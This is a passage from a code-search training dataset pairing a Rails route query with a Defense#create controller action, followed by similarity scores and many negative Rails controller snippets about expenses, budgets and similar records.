"def new\n @expense = Expense.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @expense }\n end\n end",
"def index\n @budgets = Budget.find_owned_by current_user\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @budgets }\n end\n end",
"def show\n @cash_dispense = CashDispense.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n # format.json { render json: @cash_dispense }\n\n ret = \"\"\n val = 0\n @cash_dispense.calculate_break_down.each_with_index do |dom,index| \n if dom.size > 0 \n ret += \"#{dom.count} x #{CashDispense::DENOMINATIONS[index]}\\n\" \n val += (dom.count * CashDispense::DENOMINATIONS[index])\n end # if \n end # each \n\n ret += \"\\n#{val}\"\n\n format.json { render json: ret }\n\n end\n end",
"def index\n @finance_leads = FinanceLead.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @finance_leads }\n end\n end",
"def index\n @expense_types = ExpenseType.all\n end",
"def index\n @decisions = Decision.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @decisions }\n end\n end",
"def index\n @fulfillments = Fulfillment.all\n end",
"def index\n @holidays = Holiday.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @holidays }\n end\n end",
"def index\n @utility_expenses = UtilityExpense.all\n end"
] |
[
"0.75221795",
"0.72220296",
"0.6945406",
"0.6941673",
"0.6874378",
"0.6774466",
"0.6745395",
"0.6710029",
"0.6680765",
"0.66717875",
"0.66627014",
"0.66261905",
"0.65643096",
"0.65643096",
"0.65643096",
"0.65643096",
"0.65643096",
"0.65557337",
"0.6550464",
"0.64772576",
"0.6465943",
"0.64225197",
"0.6422149",
"0.6378814",
"0.63378894",
"0.6286971",
"0.6286362",
"0.62732553",
"0.6211728",
"0.6198242",
"0.6155508",
"0.61326694",
"0.6129116",
"0.61240536",
"0.6123397",
"0.6096917",
"0.604699",
"0.6046959",
"0.6038601",
"0.60329324",
"0.60229725",
"0.60145956",
"0.59853065",
"0.5984236",
"0.59692883",
"0.5951324",
"0.59182197",
"0.59005725",
"0.5887837",
"0.58646065",
"0.5859073",
"0.5853789",
"0.5853789",
"0.5853789",
"0.5844487",
"0.5840651",
"0.5839747",
"0.58076876",
"0.580659",
"0.58040655",
"0.58015263",
"0.57984364",
"0.579495",
"0.57905656",
"0.577575",
"0.5773043",
"0.57619476",
"0.5758473",
"0.574053",
"0.57395643",
"0.57395643",
"0.57395643",
"0.573176",
"0.57206964",
"0.5698021",
"0.5675332",
"0.56722",
"0.5666083",
"0.5660891",
"0.5649881",
"0.5649094",
"0.56469214",
"0.56469214",
"0.56412554",
"0.563963",
"0.56351864",
"0.5633881",
"0.5632277",
"0.5631181",
"0.5631121",
"0.56267476",
"0.562649",
"0.5621717",
"0.5616579",
"0.56147134",
"0.5607324",
"0.56001014",
"0.5598534",
"0.5598275",
"0.5596757"
] |
0.780192
|
0
|
GET /defenses/1 GET /defenses/1.json
|
def show
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def index\n @defenses = Defense.all\n end",
"def index\n @expenses = find_expenses.all\n render json: @expenses\n end",
"def index\n @expenses = Expense.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @expenses }\n end\n end",
"def show\n @expense = Expense.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @expense }\n end\n end",
"def show\n @expense = Expense.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @expense }\n end\n end",
"def show\n @expense = Expense.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @expense }\n end\n end",
"def show\n @expense = Expense.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @expense }\n end\n end",
"def show\n @expense = Expense.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @expense }\n end\n end",
"def show\n @expense = current_user.organization.expenses.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @expense }\n end\n end",
"def index\n @api_v1_expenses = Api::V1::Expense.all\n end",
"def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @expense }\n end\n end",
"def index\n @offenses = Offense.all\n end",
"def index\n @defense_responses = DefenseResponse.all\n end",
"def index\n @expenses = Expense.all\n respond_with @expenses\n end",
"def index\n @expenses = get_class.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @expenses }\n end\n end",
"def set_api_v1_expense\n @api_v1_expense = Api::V1::Expense.find(params[:id])\n end",
"def show\n @expense = TblReceipt.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @expense }\n end\n end",
"def show\n @expense = Expense.find(params[:id])\n index\n end",
"def index\n @expenses = Expense.all\n end",
"def index\n @petty_cash_expenses = PettyCashExpense.all\n render json: @petty_cash_expenses\n end",
"def index\n @livingexpenses = Livingexpense.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @livingexpenses }\n end\n end",
"def show\n render json: @petty_cash_expense\n end",
"def show\n @definition = Definition.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @definition }\n end\n end",
"def show\n @definition = Definition.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @definition }\n end\n end",
"def index\n @fixed_expenses = FixedExpense.for_user(current_user).all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @fixed_expenses }\n end\n end",
"def show\n @admin_expense_type = Admin::ExpenseType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @admin_expense_type }\n end\n end",
"def show\n @expense = Expense.find(params[:id])\n\n respond_to do |format|\n format.json { render json: @expense }\n format.js\n end\n end",
"def index\n @expenses = Expense.limit(10)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @expenses }\n end\n end",
"def show\n @food = Food.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @food }\n end\n end",
"def show\n\n @food = Food.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @food }\n end\n end",
"def show\n @expense = current_user.expenses.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @expense }\n end\n end",
"def show\n @livingexpense = Livingexpense.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @livingexpense }\n end\n end",
"def show\n respond_with @expense\n end",
"def show\n @expense_state = ExpenseState.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @expense_state }\n end\n end",
"def expenses\n @expenses ||= Harvest::API::Expenses.new(credentials)\n end",
"def show\n render json: @person_expense_record\n end",
"def index\n @rec_expenses = RecExpense.all\n end",
"def index\n @dispenses = Dispense.all\n end",
"def show\n @expense = Expense.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @expense }\n end\n end",
"def show\n @expense = Expense.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @expense }\n end\n end",
"def show\n @expense = Expense.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @expense }\n end\n end",
"def show\n @expenditure = Expenditure.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @expenditure }\n end\n end",
"def show\n @fixed_expense = FixedExpense.for_user(current_user).find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @fixed_expense }\n end\n end",
"def index\n @person_expense_records = PersonExpenseRecord.all\n\n render json: @person_expense_records\n end",
"def show\n @favourite_food = FavouriteFood.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @favourite_food }\n end\n end",
"def index\n\n if (params[:dossier])\n if params[:dossier] && params[:clear].present? && params[:clear] == 'true'\n @expenses = []\n elsif params[:dossier] && params[:activite_id].present? && params[:activite_id]!='undefined' \n @expenses = Expense.where(:dossier_id => params[:dossier], :activite_id => params[:activite_id])\n else\n @expenses = Expense.where(:dossier_id => params[:dossier])\n end\n else\n @expenses = []\n end\n \n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @expenses }\n format.json {render :json => {\"success\"=>true,\"data\"=>@expenses.map {|p| p.attributes.merge(:total_ht => p.total, :total_ttc => p.total_ttc, :activite_name => p.activite.try(:description))}, :totalSize =>@expenses.count}}\n \n end\n end",
"def defense\n total_for(:defense)\n end",
"def index\n @office_expenses = OfficeExpense.all\n end",
"def new\n @expense = Expense.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @expense }\n end\n end",
"def index\n @record_expenses = RecordExpense.all\n end",
"def index\n @expenses = Expense.search(params[:search])\n end",
"def index\n @expenses = current_user.user_account.expenses\n #DZF get totals\n\t\tunless @expenses.blank?\n\t\t\t@expense_total_price = current_user.user_account.get_expenses_total_price\n\t\t\t@expense_total_payed_price = current_user.user_account.get_expenses_total_total_payed_price\n\t\t\t@expense_total_payed_percentage = @expense_total_payed_price / @expense_total_price * 100\n\t\t\t@expense_total_remaining_price = current_user.user_account.get_expenses_total_remaining_price\n\t\t\t#DZF get payers percentage\n\t\t\t@payer_types_totals = {}\n\t\t\tPayerType.all.each do |pt|\n\t\t\t\t@payer_types_totals.merge!({pt.name => (current_user.user_account.get_payer_total_price_by_id(pt.id) * 100 / @expense_total_price) } )\n\t\t\tend\n\t\tend\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @expenses }\n end\n end",
"def show\n @housing_expense = HousingExpense.find(params[:id])\n\n respond_to do |format|\n format.html # show.rhtml\n format.xml { render :xml => @housing_expense.to_xml }\n end\n end",
"def show\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @expense_group }\n end\n end",
"def set_defense\n @defense = Defense.find(params[:id])\n end",
"def show\n @expense = Expense.find(params[:id])\n\n respond_to do |format|\n format.html # show.rhtml\n format.xml { render :xml => @expense.to_xml }\n end\n end",
"def show\n @fact = Fact.find(params[:id])\n @restriction = Restriction.find(@fact.restriction_id)\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @fact }\n end\n end",
"def show\n @expense = Expense.for_user(current_user).find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @expense }\n end\n end",
"def index\n @ef_mentals = EfMental.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @ef_mentals }\n end\n end",
"def index\n redirect_to home_entries_path\n\n @entries = current_user.entries.expenses\n end",
"def show\n @dental = Dental.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @dental }\n end\n end",
"def show\n render json: @diet, status: 200, root: true\n end",
"def show\n @food = Food.find(params[:id])\n respond_with(@food)\n end",
"def index\n @expenses_props = Expense.all\n end",
"def show\n @foodlog = Foodlog.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @foodlog }\n end\n end",
"def new\n @expense = Expense.new\n @assigned_categories = \"\"\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @expense }\n end\n end",
"def show\n @operating_expense = OperatingExpense.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @operating_expense }\n end\n end",
"def index\n @definitions = Definition.order('created_at desc')\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @definitions }\n end\n end",
"def index\n @expenses = current_user.expenses.date_between(params[:from],params[:to]).order('created_at DESC')\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @expenses }\n end\n end",
"def set_defense_response\n @defense_response = DefenseResponse.find(params[:id])\n end",
"def index\n @lincenses = Lincense.all\n end",
"def show\n @economia4 = Economia4.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @economia4 }\n end\n end",
"def set_offense\n @offense = Offense.find(params[:id])\n end",
"def show\n @budget = Budget.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n # format.json { render json: @budget }\n end\n end",
"def food_info(food_id)\n get(\"/foods/#{food_id}.json\")\n end",
"def show\n @ef_mental = EfMental.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ef_mental }\n end\n end",
"def show\n @kf_diary = Kf::Diary.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @kf_diary }\n end\n end",
"def show\n @mood = Mood.find(params[:id])\n respond_to do |format|\n format.any { render :json => @mood }\n end\n end",
"def show\n @competency = Competency.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @competency }\n end\n end",
"def index\n\n # authenticate request\n if auth_user\n\n # check user has data to show\n if Expense.user(@user).count ==0\n render json: { message: \"You have no data - please submit date via a POST request\" }, status: 401\n else\n\n # retrieve paramaters\n # set start and end date to data min/max if not provided \n start_date = params[:start_date].respond_to?(:to_date) ? params[:start_date].to_date : Expense.user(@user).min_by(&:date).date\n end_date = params[:end_date].respond_to?(:to_date) ? params[:end_date].to_date : Expense.user(@user).max_by(&:date).date\n category = params[:category]\n\n # request category if provided (uses scopes defined in Expense model)\n if category == nil\n @expenses = Expense.user(@user).after_date(start_date).before_date(end_date)\n else\n @expenses = Expense.user(@user).after_date(start_date).before_date(end_date).category(category)\n end\n end\n\n else\n # request not authenticated\n return render json: { message: \"Invalid Token\", status: 400}, status: 400\n end\n end",
"def show\n @defalut_item = DefalutItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @defalut_item }\n end\n end",
"def show\n @fortune = Fortune.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @fortune }\n end\n end",
"def show\n @expediente = Expediente.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @expediente }\n end\n end",
"def show\n json_response(@food_item)\n end",
"def show\n @disability = Disability.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @disability }\n end\n end",
"def get_finding_info\n\t\tidDec = params[:idDec].to_i\n\t\tidMap = params[:idMap].to_i\n\t\thallazgo = Finding.where(\"decision_map_id = ? AND governance_decision_id = ?\", idMap, idDec).first\n\t\trespond_to do |format|\n\t\t\tformat.json {render json: hallazgo}\n \tend\n\tend",
"def show\n @food_recipe = FoodRecipe.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @food_recipe }\n end\n end",
"def show\n\n @definition = Definition.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @definition.to_xml(:request => request) }\n format.json { render :json => @definition.to_json(:request => request) }\n end\n end",
"def show\n @affectation = Affectation.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @affectation }\n end\n end",
"def update\n respond_to do |format|\n if @api_v1_expense.update(api_v1_expense_params)\n format.html { redirect_to @api_v1_expense, notice: 'Expense was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_v1_expense }\n else\n format.html { render :edit }\n format.json { render json: @api_v1_expense.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @life_insurances }\n end\n end",
"def show\n @explaination = Explaination.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @explaination }\n end\n end",
"def index\n @fixed_deposits = FixedDeposit.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @fixed_deposits }\n end\n end",
"def show\n @exprience = Exprience.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @exprience }\n end\n end",
"def index\n @bid_expenses = BidExpense.all\n end",
"def show\n @allowance = Allowance.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @allowance }\n end\n end",
"def create\n @defense = Defense.new(defense_params)\n\n respond_to do |format|\n if @defense.save\n format.html { redirect_to @defense, notice: 'Defense was successfully created.' }\n format.json { render :show, status: :created, location: @defense }\n else\n format.html { render :new }\n format.json { render json: @defense.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n @foil = Foil.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @foil }\n end\n end",
"def index\n @expenses = Expense.all\n # @assets = Asset.all\n @assets = current_user.assets\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @expenses }\n end\n end",
"def index\n @facts = fact_type.all\n @title = fact_type\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @facts }\n end\n end",
"def show\n load_budget\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @budget }\n end\n end"
] |
[
"0.7389979",
"0.7040264",
"0.69019705",
"0.68452525",
"0.68452525",
"0.68452525",
"0.68452525",
"0.68452525",
"0.6722822",
"0.6648022",
"0.66356015",
"0.65578806",
"0.6501001",
"0.6463238",
"0.63468415",
"0.6333051",
"0.63327265",
"0.63276285",
"0.63043064",
"0.6295408",
"0.62867343",
"0.62579036",
"0.62549835",
"0.62549835",
"0.6242317",
"0.6242186",
"0.62378204",
"0.62023616",
"0.6142157",
"0.61300135",
"0.61242056",
"0.61201966",
"0.61087036",
"0.60837775",
"0.6081906",
"0.6081494",
"0.6076157",
"0.60531545",
"0.6043757",
"0.6043757",
"0.6043757",
"0.6034088",
"0.6017062",
"0.6008899",
"0.5966301",
"0.595732",
"0.59438497",
"0.59294057",
"0.5926033",
"0.59173757",
"0.5914661",
"0.5913495",
"0.5888149",
"0.5882689",
"0.5882069",
"0.5876191",
"0.58701915",
"0.5863928",
"0.58565253",
"0.5851645",
"0.5828234",
"0.58201426",
"0.58147514",
"0.58082247",
"0.58033764",
"0.5799871",
"0.5797052",
"0.5788082",
"0.57848287",
"0.57789254",
"0.5774373",
"0.5773443",
"0.57688797",
"0.57634485",
"0.5758835",
"0.5757953",
"0.5750105",
"0.5744347",
"0.57431966",
"0.57415414",
"0.57366943",
"0.57350963",
"0.5732274",
"0.57321846",
"0.57311654",
"0.570812",
"0.5704767",
"0.5695199",
"0.5693571",
"0.56910235",
"0.5690928",
"0.56896335",
"0.5680913",
"0.5679395",
"0.56692463",
"0.5665374",
"0.5663471",
"0.5658491",
"0.56546015",
"0.56522876",
"0.5651225"
] |
0.0
|
-1
|
POST /defenses POST /defenses.json
|
def create
@defense = Defense.new(defense_params)
respond_to do |format|
if @defense.save
format.html { redirect_to @defense, notice: 'Defense was successfully created.' }
format.json { render :show, status: :created, location: @defense }
else
format.html { render :new }
format.json { render json: @defense.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def create\n @expense = Expense.new(expense_params)\n\n if @expense.save\n render json: @expense\n else\n render json: @expense.errors, status: :unprocessable_entity\n end\n end",
"def create\n # Get the variables passed in from params on create\n @expense = Expense.new(expense_params)\n\n if @expense.save\n render json: @expense, status: :created, location: @expense\n else\n render json: @expense.errors, status: :unprocessable_entity\n end\n end",
"def create\n\t\tuser = User.find_by(id: expense_params['user_id'])\n\t\tdebt = Debt.find_by(id: expense_params['debt_id'])\n\t\texpense = user.expenses.build(expense_params)\n\t\tif expense.save \n\t\t\tif debt\n\t\t\t\tdebt.expenses << expense\n\t\t\tend\n\t\t\trender json: user\n\t\telse\n\t\t\trender json: expense.errors, status: :unprocessable_entity\n\t\tend\n\tend",
"def index\n @defenses = Defense.all\n end",
"def defense_params\n params.require(:defense).permit(:description)\n end",
"def create\n @expense = Expense.new(expense_params)\n\n respond_to do |format|\n if @expense.save\n format.html { redirect_to @expense, notice: 'Expense was successfully created.' }\n format.json { render :show, status: :created, location: @expense }\n else\n format.html { render :new }\n format.json { render json: @expense.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @api_v1_expense = Api::V1::Expense.new(api_v1_expense_params)\n\n respond_to do |format|\n if @api_v1_expense.save\n format.html { redirect_to @api_v1_expense, notice: 'Expense was successfully created.' }\n format.json { render :show, status: :created, location: @api_v1_expense }\n else\n format.html { render :new }\n format.json { render json: @api_v1_expense.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @defense_response = DefenseResponse.new(defense_response_params)\n\n respond_to do |format|\n if @defense_response.save\n format.html { redirect_to @defense_response, notice: 'Defense response was successfully created.' }\n format.json { render :show, status: :created, location: @defense_response }\n else\n format.html { render :new }\n format.json { render json: @defense_response.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @solideo_depense = SolideoDepense.new(solideo_depense_params)\n\n respond_to do |format|\n if @solideo_depense.save\n format.html { redirect_to solideo_depenses_path, notice: 'Solideo depense was successfully created.' }\n format.json { render :show, status: :created, location: @solideo_depense }\n else\n format.html { render :new }\n format.json { render json: @solideo_depense.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n data = params[:expense]\n\n @expense = current_user.expenses.build(params[:expense])\n if @expense.save\n flash[:success] = \"Expense created!\"\n redirect_to root_url\n else\n format.html { render action: \"new\" }\n format.json { render json: @expense.errors, status: :unprocessable_entity }\n end\n #@expense = Expense.new(params[:expense])\n #\n #respond_to do |format|\n # if @expense.save\n # format.html { redirect_to @expense, notice: 'Expense was successfully created.' }\n # format.json { render json: @expense, status: :created, location: @expense }\n # else\n # format.html { render action: \"new\" }\n # format.json { render json: @expense.errors, status: :unprocessable_entity }\n # end\n #end\n end",
"def create\n @dog_expense = DogExpense.new(dog_expense_params)\n\n respond_to do |format|\n if @dog_expense.save\n format.html { redirect_to @dog_expense, notice: 'Dog expense was successfully created.' }\n format.json { render action: 'show', status: :created, location: @dog_expense }\n else\n format.html { render action: 'new' }\n format.json { render json: @dog_expense.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n\n @expense = Expense.new(expense_params)\n\n b_id = Building.search(@expense.buildinginfo)\n Building.find_by(id: b_id).expenses << @expense\n \n respond_to do |format|\n if @expense.save\n format.html { redirect_to @expense, notice: 'Expense was successfully created.' }\n format.json { render :show, status: :created, location: @expense }\n else\n format.html { render :new }\n format.json { render json: @expense.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @expense = Expense.new(expense_params)\n\n respond_to do |format|\n puts \"********* creating an expense\"\n if @expense.save\n puts \"** expense saved\"\n puts @expense.id.to_s\n format.html { redirect_to @expense, notice: 'Expense was successfully created.' }\n format.json { render :show, status: :created, location: @expense }\n else\n puts \"** expense not saved\"\n format.html { render :new }\n format.json { render json: @expense.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @expenses = find_expenses.all\n render json: @expenses\n end",
"def defense_response_params\n params.require(:defense_response).permit(:observation_id, :defense_id, :response)\n end",
"def create\n @rec_expense = RecExpense.new(rec_expense_params)\n\n respond_to do |format|\n if @rec_expense.save\n format.html { redirect_to @rec_expense, notice: 'Rec expense was successfully created.' }\n format.json { render :show, status: :created, location: @rec_expense }\n else\n format.html { render :new }\n format.json { render json: @rec_expense.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @record_expense = RecordExpense.new(record_expense_params)\n\n respond_to do |format|\n if @record_expense.save\n format.html { redirect_to @record_expense, notice: 'New expense successfully created.' }\n format.json { render :show, status: :created, location: @record_expense }\n else\n format.html { render :new }\n format.json { render json: @record_expense.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @petty_cash_expense = PettyCashExpense.new(petty_cash_expense_params)\n\n respond_to do |format|\n if @petty_cash_expense.save\n format.json { render :show, status: :created, location: @petty_cash_expense }\n else\n format.json { render json: @petty_cash_expense.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @marketing_expense = MarketingExpense.new(marketing_expense_params)\n\n respond_to do |format|\n if @marketing_expense.save\n format.html { redirect_to @marketing_expense, notice: 'Marketing expense was successfully created.' }\n format.json { render :show, status: :created, location: @marketing_expense }\n else\n format.html { render :new }\n format.json { render json: @marketing_expense.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @defense_responses = DefenseResponse.all\n end",
"def create\n @name_expense = NameExpense.new(name_expense_params)\n\n respond_to do |format|\n if @name_expense.save\n format.html { redirect_to @name_expense, notice: 'Name expense was successfully created.' }\n format.json { render :show, status: :created, location: @name_expense }\n else\n format.html { render :new }\n format.json { render json: @name_expense.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @expense = Expense.create(expense_params)\n @expense.user_id = current_user.id\n @expense.save!\n respond_with @expense, status: 201\n end",
"def create\n @expense = Expense.new(expense_params)\n\n respond_to do |format|\n if @expense.save\n if !params[:expense_category].blank?\n category = ExpenseCategory.find_by name: params[:expense_category]\n if !category.nil?\n @expense.update(expense_category: category)\n if params[:expense_category] == \"Diesel\"\n company = DieselCompany.find(params[:diesel_company])\n DieselExpense.create! expense: @expense, diesel_company: company, litres: @expense.quantity\n end\n end\n # cash = Cash.today.first\n # cash.update(amount_out: (cash.amount_out + @expense.amount), balance: (cash.balance - @expense.amount))\n end\n format.html { redirect_to expenses_path, notice: 'Expense was successfully created.' }\n format.json { render :show, status: :created, location: @expense }\n else\n format.html { render :new }\n format.json { render json: @expense.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @fixed_expense = FixedExpense.new(params[:fixed_expense])\n @fixed_expense.user_id = current_user.id\n\n respond_to do |format|\n if @fixed_expense.save\n flash[:notice] = 'FixedExpense was successfully created.'\n format.html { redirect_to(fixed_expenses_path) }\n format.xml { render :xml => @fixed_expense, :status => :created, :location => @fixed_expense }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @fixed_expense.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n recurring = params[:expense].delete(:recurring)\n statement = Statement.find(params[:statement_id])\n @expense = Expense.new(params[:expense])\n @expense.statement = statement\n @expense.recurring = recurring\n\n respond_to do |format|\n if @expense.save\n format.html { redirect_to @expense.statement, notice: 'Statement expense was successfully created.' }\n format.json { render json: @expense, status: :created, location: @expense }\n else\n format.html { render action: \"new\" }\n format.json { render json: @expense.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @expense = Expense.new(expense_params)\n authorize @expense\n @expense.created_by = current_user\n @expense.expense_by = current_user unless policy(@expense).can_assign?\n respond_to do |format|\n if @expense.save\n format.html { redirect_back_or_default expenses_url, t('Record has been saved') }\n format.json { render :show, status: :created, location: @expense }\n else\n format.html { render :new }\n format.json { render json: @expense.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @expense = Expense.new(expense_params)\n @expense.user_id = current_user.id\n \n respond_to do |format|\n if @expense.save\n format.html { redirect_to @expense, notice: 'Expense was successfully created.' }\n format.json { render action: 'show', status: :created, location: @expense }\n else\n format.html { render action: 'new' }\n format.json { render json: @expense.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @expenses = Expense.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @expenses }\n end\n end",
"def create\n @expense = Expense.new(expense_params)\n @expense.source = :webapp\n respond_to do |format|\n if @expense.save\n format.html { redirect_to :back, notice: 'Expense was successfully created.' }\n format.json { render :show, status: :created, location: @expense }\n else\n format.html { render :new }\n format.json { render json: @expense.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @expense = Expense.new(params[:expense])\n\n respond_to do |format|\n if @expense.save\n format.html { redirect_to(@expense, :notice => 'Expense was successfully created.') }\n format.xml { render :xml => @expense, :status => :created, :location => @expense }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @expense.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @expense_owner = ExpenseOwner.new(expense_owner_params)\n\n respond_to do |format|\n if @expense_owner.save\n format.html { redirect_to @expense_owner, notice: 'Expense owner was successfully created.' }\n format.json { render :show, status: :created, location: @expense_owner }\n else\n format.html { render :new }\n format.json { render json: @expense_owner.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @expense = Expense.new(params[:expense])\n\n respond_to do |format|\n if @expense.save\n flash[:notice] = 'Expense was successfully created.'\n format.html { redirect_to expense_url(@expense) }\n format.xml { head :created, :location => expense_url(@expense) }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @expense.errors.to_xml }\n end\n end\n end",
"def create\n @bid_expense = BidExpense.new(bid_expense_params)\n\n respond_to do |format|\n if @bid_expense.save\n format.html { redirect_to bid_expenses_path, notice: 'Bid expense was successfully created.' }\n format.json { render :show, status: :created, location: @bid_expense }\n else\n format.html { render :new }\n format.json { render json: @bid_expense.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @expense = Expense.new(params[:expense])\n if params[:expense][:item_id].present?\n @expense.categorie_id = Item.find(params[:expense][:item_id]).categorie_id\n end\n @expense.dossier_id = params[:dossier]\n \n if params[:activite_id].present?\n @expense.activite_id = params[:activite_id]\n end\n \n @expense.save\n respond_to do |format|\n format.json { render :json => { :success => true, :message => \"Created Expense #{@expense.id}\", :data => @expense.attributes.merge(:total_ht => @expense.total, :total_ttc => @expense.total_ttc, :activite_name => @expense.activite.try(:description))}}\n end\n \n end",
"def create\n @expensesbasis = @post.expensesbases.new(expensesbasis_params)\n\n respond_to do |format|\n if @expensesbasis.save\n format.html { redirect_to [@post, @expensesbasis], notice: 'Expensesbase was successfully created.' }\n format.json { render :show, status: :created, location: @expensesbasis }\n else\n format.html { render :new }\n format.json { render json: @expensesbasis.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @expense = Expense.new\n @assigned_categories = \"\"\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @expense }\n end\n end",
"def create\n\n @expense = Expense.new(params[:expense])\n @expense.user = current_user\n\n respond_to do |format|\n if @expense.save\n format.json { render json: @expense, status: :created, location: @expense }\n format.js\n else\n format.json { render json: @expense.errors, status: :unprocessable_entity }\n format.js\n end\n end\n end",
